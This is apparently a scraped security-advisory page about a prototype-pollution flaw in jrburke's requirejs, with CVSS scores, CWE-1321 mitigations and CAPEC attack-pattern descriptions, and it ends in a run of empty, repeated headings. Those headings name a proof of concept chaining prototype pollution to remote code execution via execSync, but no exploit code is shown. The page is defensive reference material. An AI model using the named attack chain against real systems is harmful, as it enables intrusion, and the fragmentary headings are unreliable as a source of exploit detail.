  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "jrburke requirejs vulnerable to prototype pollution"
}

Mitigation

Implementation

By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.

Mitigation

Architecture and Design

By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.

Mitigation

Implementation

Strategy: Input Validation

When handling untrusted objects, validating using a schema can be used.

Mitigation

Implementation

By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.

Mitigation

Implementation

Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels

An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

← Back to the CWE list

CWE-1321

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Summary

Details

Root Cause:

Vulnerable Code Path src/executor.ts(L559-L571):

Exploitation Flow:

Protection Bypass Location src/utils.ts(L380-L385):

PoC

Prototype pollution via array intermediary:

Overwrite Set.prototype.has:

RCE via host gadget (prototype pollution -> execSync):

Impact

Remediation

Impact

Patches

Impact

Patches

Workarounds

References

384

For more information

Impact

Patches

Workarounds

References

Mitigation

Mitigation

Mitigation

Mitigation

Mitigation

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels

CAPEC-77: Manipulating User-Controlled Variables

Vulnerable Code Path `src/executor.ts`(L559-L571):

Protection Bypass Location `src/utils.ts`(L380-L385):

Overwrite `Set.prototype.has`: